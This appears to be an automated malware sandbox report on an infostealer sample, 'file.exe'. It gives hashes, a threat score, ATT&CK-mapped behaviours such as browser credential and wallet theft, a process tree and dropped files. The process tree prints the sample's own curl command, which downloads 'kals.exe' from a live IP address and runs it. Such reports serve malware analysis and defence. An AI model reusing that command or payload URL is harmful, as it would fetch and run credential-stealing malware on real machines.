1a6accff44320788df5d4aaa5befd1aa524ca24715f76155eaf9558b5acdb0d0

General

Target
file.exe
Size 5.3MB
Sample261020-zz7dradb93
SHA256 1a6accff44320788df5d4aaa5befd1aa524ca24715f76155eaf9558b5acdb0d0
MD5 1236a0b4412e4ae779f35ded8b4b3d80
SHA1 1ab741607616717825aea5fbfb2df2771f168e96
SHA512 925db83426378fcc4a405de4b2a79d4acb6de7baa5dbd03f549f75445a58d186fa52ca3ef68ac6c750f10bf84630dfe8ed1eeabeb332acfb4187091685232571
SSDEEP 49152:/YaZtMXw5eWY+IQ+p52Btj1I7x9mW/vutOx2r3JwXvUrxZFzVvL:/dOXmYuCaFC9YGxAqvUrbFxT
TLSH
T1C3469E94CDA62330FBA4A676162B42BA527D92FED7A8F05936A47D130060C1C47FDECD
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

Malware Config

Signatures

Downloads MZ/PE file 1 IoCs

flow	pid	Process
9	5052	curl.exe

Executes dropped EXE 1 IoCs

pid	Process
4352	kals.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Reads the TCP/IP host and domain name from the registry 1 TTPs 3 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	file.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	kals.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	file.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	kals.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	kals.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4352	kals.exe
4352	kals.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
808	Process not Found

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeLoadDriverPrivilege	4116	file.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4116 wrote to memory of 5052	4116	file.exe	90
PID 4116 wrote to memory of 4352	4116	file.exe	93
PID 4352 wrote to memory of 3352	4352	kals.exe	94
PID 4352 wrote to memory of 3352	4352	kals.exe	94
PID 4352 wrote to memory of 1804	4352	kals.exe	97
PID 4352 wrote to memory of 1804	4352	kals.exe	97
PID 4352 wrote to memory of 248	4352	kals.exe	100
PID 4352 wrote to memory of 248	4352	kals.exe	100
PID 4352 wrote to memory of 5084	4352	kals.exe	104
PID 4352 wrote to memory of 5084	4352	kals.exe	104

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	9	curl/8.8.0

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4116
- C:\Windows\SYSTEM32\curl.exe
  curl.exe -s -L --connect-timeout 10 --max-time 120 -o "C:\Users\Admin\AppData\Roaming\kbi14jydo7q" "http://107.175.82.242:9000/wilow/kals.exe"
  2⤵
  - Downloads MZ/PE file
  PID:5052
- C:\Users\Admin\AppData\Roaming\kals.exe
  "C:\Users\Admin\AppData\Roaming\kals.exe"
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4352
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    3⤵
    PID:3352
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    3⤵
    PID:1804
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    3⤵
    PID:248
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
    3⤵
    PID:5084

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4264

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4944

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5192

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4844

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1296

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2424

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2836

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5544

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Unsecured Credentials

2

T1552

Credentials In Files

2

T1552.001

Discovery

Query Registry

2

T1012

System Information Discovery

1

T1082

System Network Configuration Discovery

1

T1016

Lateral Movement

Collection

Data from Local System

2

T1005

Command and Control

Exfiltration

Impact

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Downloads

7F01095B-E298-0F37-0C33-E04F148BA8E7.txt

Path C:\ProgramData\7F01095B-E298-0F37-0C33-E04F148BA8E7.txt
Size 64B
SHA256 3315396116f0f5d028d8e672001f1e7cc12af2a43ad4cbc4d224595a32722088
MD5 f6eefcafc21416ad602a548f3a91f798
SHA1 32aa1ddbddb00350458652d6901b263a0a36b34e
SHA512 ad01f7583f2bb6bf78d2fd2509c92c544720a5c77039c50b2da788e6ba35090856883fbcb39230b5ff57483151b63693e32f62fb410750b133e5a27d02dd2847
TLSH
T10FA022C0E00003E8080C20F0280EF8CC00880002080CCEECC0C02308C3A00E0302BE02
MD5 SHA1 SHA512 TLSH

Submit Download

ntkrnlmp_953A8DE880B0818C32DA2DEC1D79C2D91.pdb

Path C:\Users\Admin\AppData\Local\Temp\ntkrnlmp_953A8DE880B0818C32DA2DEC1D79C2D91.pdb
Size 10.5MB
SHA256 e987244cfdc33cb195c34231d8905d9e87019b36f199d17ab0638187ce0aaf7f
MD5 566f8135567a80ba945eee5ce9be4f69
SHA1 26008b593f2deacd27d6c55220cbcacfeaeb1a37
SHA512 86bfd6689da02d75e8323b6420c35fc86c487906d82827ec595d6d308e9f32fb23aca9b2c72f071fab77ed78b3997b8fae5034bc105e1109f2e3df32c5603829
SSDEEP 49152:R85MWAL/kNIUlMy+1sA3w9QnZcaDkFAjcLU3I67bX3V/lxKPmng+Y99+1lM8faZJ:R85rADkNl63pnR7fDgf
TLSH
T150B60615BA937EF6DC5A457FA0160329F6F596CA03A947E33D46B3A90DC2212CF2E341
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

kbi14jydo7q

Path C:\Users\Admin\AppData\Roaming\kbi14jydo7q
Size 620KB
SHA256 6610b57761b7fa2cee2d4ed259b561c35f7c9b917c024883b22e52bc53761025
MD5 911eb26b0b0068c12d6f14cb4d2537c2
SHA1 a62f5e42c2a959fd87a6c6d7f9458bd1404e198b
SHA512 7f6d68a844d0c2a2c09f24160feab76a7a0d26568a50814c75d1e7b67b27b14472df3acee0cf938ccf179d18c4b2a1ddb2caf766c77338cd6f0eec255f818983
SSDEEP 6144:obQ73r/dI7LI+iix8/mRlR2InxCcMHSOX/revKmY+WCTNZil10lAJtxcGUvVocp:obc7Mx8/ilR2IxCYo1T72vmcpXr
TLSH
T10CD47C16EBE502F9D17BC1B4CA829856EB77B855433065CB03E209675F3B6A05F3EB20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads